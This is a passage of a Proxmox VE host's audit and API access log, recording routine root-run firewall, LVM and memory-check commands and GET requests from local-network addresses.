items=2 ppid=1156 pid=66349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964639836,"@rawstring":"node=pve type=EXECVE msg=audit(1781964639.836:61910): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966080303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.303:68351): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.603:67459): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265013,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.013:69119): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964560633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964245055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.055:60191): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d8f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588046,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 956"} {"@timestamp":1781966255395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.395:69095): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635762,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.762:61909): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966080303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.303:68350): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.597:67455): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=EXECVE msg=audit(1781966261.284:69118): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964559609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781964244523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964244.523:60190): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73abe10 a1=64f8d741ba60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588046,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781966255388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.388:69094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635758,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.758:61908): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.635:68346): arch=c000003e syscall=59 success=no exit=-2 a0=7fff30e88240 a1=5c4433b24390 a2=5c4433b02680 a3=5 items=1 ppid=65632 pid=65633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.597:67454): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=EXECVE msg=audit(1781966261.284:69117): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964558607,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964244494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964244.494:60189): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417a70 a1=64f8d73ee170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588046,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966255383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.383:69093): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635757,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.757:61907): argc=1 a0=\"date\""} {"@timestamp":1781966075537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.537:68328): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd96e23820 a1=624300942310 a2=62430093b680 a3=5 items=1 ppid=65613 pid=65614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.587:67452): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261282,"@rawstring":"node=pve type=EXECVE msg=audit(1781966261.282:69116): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964556615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.453:60188): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588046,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966255378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.378:69092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635753,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.753:61905): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.294:68320): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.587:67451): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=EXECVE msg=audit(1781966260.983:69115): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964555571,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964243.443:60185): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965586782,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781966255371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.371:69091): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635747,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.747:61904): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.294:68319): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965866118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.118:67447): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7a2097d0 a1=557be194b1c0 a2=557be1929680 a3=5 items=1 ppid=64776 pid=64777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=EXECVE msg=audit(1781966260.977:69112): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964552663,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 850"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.433:60182): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965586782,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966255365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.365:69090): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.741:61903): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.283:68317): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965866022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.022:67429): arch=c000003e syscall=59 success=no exit=-2 a0=7ffed614bea0 a1=63255a4c51c0 a2=63255a4a3680 a3=5 items=1 ppid=64757 pid=64758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.968:69109): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964552663,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964238.421:60179): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965586782,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 866"} {"@timestamp":1781966255360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.360:69089): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635734,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.734:61902): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.283:68316): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965864577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.577:67421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.957:69106): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964551254,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964236046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.046:60176): arch=c000003e syscall=59 success=yes exit=0 a0=5f64ca09ced0 a1=5f64ca099c50 a2=5f64ca07b680 a3=5 items=2 ppid=57779 pid=57785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584672,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966255355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.355:69088): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.728:61901): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966070275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.275:68311): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965864577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.577:67420): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255418,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.418:69102): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964548629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964236043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.043:60175): arch=c000003e syscall=59 success=yes exit=0 a0=5f64ad33eac8 a1=7ffc750000f0 a2=5f64ca07b680 a3=5f64ad32224e items=2 ppid=57779 pid=57781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 942"} {"@timestamp":1781966254928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966254.928:69087): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635723,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.723:61899): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966070275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.275:68310): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965864568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.568:67418): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255414,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.414:69101): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964547658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964236041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.041:60174): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc750000b0 a1=5f64ca082310 a2=5f64ca07b680 a3=5 items=2 ppid=57779 pid=57780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966254890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966254.890:69086): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db8b0 a1=64f8d73aa7a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635717,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.717:61898): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.270:68308): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965864568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965864.568:67417): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255411,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.411:69100): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964546612,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781964236037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.037:60172): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57779 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) 